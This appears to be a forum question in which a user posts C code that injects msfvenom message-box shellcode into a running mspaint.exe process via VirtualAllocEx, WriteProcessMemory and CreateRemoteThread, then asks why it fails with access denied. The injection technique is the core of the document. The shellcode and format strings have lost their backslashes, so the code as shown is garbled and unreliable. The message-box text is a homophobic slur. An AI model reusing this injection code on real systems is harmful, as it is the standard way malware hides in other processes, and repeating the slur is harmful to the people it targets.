#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>

int main(int argc, char **argv){

    unsigned char shellcode[] =
        "xfcx48x81xe4xf0xffxffxffxe8xd0x00x00x00x41"
        "x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60"
        "x3ex48x8bx52x18x3ex48x8bx52x20x3ex48x8bx72"
        "x50x3ex48x0fxb7x4ax4ax4dx31xc9x48x31xc0xac"
        "x3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2"
        "xedx52x41x51x3ex48x8bx52x20x3ex8bx42x3cx48"
        "x01xd0x3ex8bx80x88x00x00x00x48x85xc0x74x6f"
        "x48x01xd0x50x3ex8bx48x18x3ex44x8bx40x20x49"
        "x01xd0xe3x5cx48xffxc9x3ex41x8bx34x88x48x01"
        "xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01"
        "xc1x38xe0x75xf1x3ex4cx03x4cx24x08x45x39xd1"
        "x75xd6x58x3ex44x8bx40x24x49x01xd0x66x3ex41"
        "x8bx0cx48x3ex44x8bx40x1cx49x01xd0x3ex41x8b"
        "x04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58"
        "x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"
        "x59x5ax3ex48x8bx12xe9x49xffxffxffx5dx3ex48"
        "x8dx8dx1ax01x00x00x41xbax4cx77x26x07xffxd5"
        "x49xc7xc1x00x00x00x00x3ex48x8dx95x0ex01x00"
        "x00x3ex4cx8dx85x16x01x00x00x48x31xc9x41xba"
        "x45x83x56x07xffxd5x48x31xc9x41xbaxf0xb5xa2"
        "x56xffxd5x6dx61x72x69x63x6fx6ex00x47x61x79"
        "x00x75x73x65x72x33x32x2ex64x6cx6cx00";

    PROCESSENTRY32 pe32;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    Process32First(snapshot, &pe32);

    do {

        if (lstrcmp(pe32.szExeFile, TEXT("mspaint.exe")) == 0) {

            HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);

            LPVOID allocated_mem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

            if (allocated_mem == NULL){
                printf("Memory allocation failed: %un", GetLastError());
                return 1;
            }

            printf("Memory page allocated at: 0x%pn", allocated_mem);

            WriteProcessMemory(hProcess, allocated_mem, shellcode, sizeof(shellcode), NULL);

            HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocated_mem, NULL, 0, NULL);

            if (hThread == NULL){
                printf("Failed to obtain handle to process: %un", GetLastError());
                return 1;
            }

            WaitForSingleObject(hThread, INFINITE);

            VirtualFreeEx(hThread, allocated_mem, 0, MEM_RELEASE);

            CloseHandle(hThread);

            CloseHandle(hProcess);

            break;

        } 

    } while(Process32Next(snapshot, &pe32));

    return 0;
}

I am trying to inject shellcode that contains a messagebox into mspaint.exe process. The shellcode is propperly writed in the process memmory but it is not executing and I do not know why.
I am using this command to generate the code msfvenom -p windows/x64/messagebox TEXT=”maricon” TITLE=”Gay” -f c -a x64.
I am executing it in a Windows machine. And GetLastError() is returning 5.

The shellcode is suppose to generate a messagebox.